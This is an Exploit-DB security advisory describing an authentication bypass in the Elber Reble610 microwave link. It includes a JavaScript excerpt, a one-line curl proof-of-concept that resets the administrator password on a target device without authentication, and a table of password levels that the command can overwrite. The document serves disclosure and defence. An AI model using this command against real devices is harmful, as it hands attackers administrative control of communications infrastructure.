Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link – Authentication Bypass

  • 作者: LiquidWorm
    日期: 2024-05-04
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/52006/
  • Elber Reble610 M/ODU XPIC IP-ASI-SDH Microwave Link Authentication Bypass
    
    
    Vendor: Elber S.r.l.
    Product web page: https://www.elber.it
    Affected version: 0.01 Revision 0
    
    Summary: The REBLE610 features an accurate hardware design, absence of
    internal cabling and full modularity. The unit is composed by a basic
    chassis with 4 extractable boards which makes maintenance and critical
    operations, like frequency modification, easy and efficient. The modular
    approach has brought to the development of the digital processing module
    (containing modulator, demodulator and data interface) and the RF module
    (containing Transmitter, Receiver and channel filters). From an RF point
    of view, the new transmission circuitry is able to guarantee around 1 Watt
    with every modulation scheme, introducing, in addition, wideband precorrection
    (up to 1GHz depending on frequency band).
    
    Desc: The device suffers from an authentication bypass vulnerability through
    a direct and unauthorized access to the password management functionality. The
    issue allows attackers to bypass authentication by manipulating the set_pwd
    endpoint that enables them to overwrite the password of any user within the
    system. This grants unauthorized and administrative access to protected areas
    of the application compromising the device's system security.
    
    --------------------------------------------------------------------------
    /modules/pwd.html
    ------------------
    50: function apply_pwd(level, pwd)
    51: {
    52: 	$.get("json_data/set_pwd", {lev:level, pass:pwd},
    53: 	function(data){
    54: 		//$.alert({title:'Operation',text:data});
    55: 		show_message(data);
    56: 	}).fail(function(error){
    57: 		show_message('Error ' + error.status, 'error');
    58: 	});
    59: }
    
    --------------------------------------------------------------------------
    
    Tested on: NBFM Controller
     embOS/IP
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    @zeroscience
    
    
    Advisory ID: ZSL-2024-5818
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5818.php
    
    
    18.08.2023
    
    --
    
    
    $ curl -s http://[TARGET]/json_data/set_pwd?lev=2&pass=admin1234
    
    Ref (lev param):
    
    Level 7 = SNMP Write Community (snmp_write_pwd)
    Level 6 = SNMP Read Community (snmp_read_pwd)
    Level 5 = Custom Password? hidden. (custom_pwd)
    Level 4 = Display Password (display_pwd)?
    Level 2 = Administrator Password (admin_pwd)
    Level 1 = Super User Password (puser_pwd)
    Level 0 = User Password (user_pwd)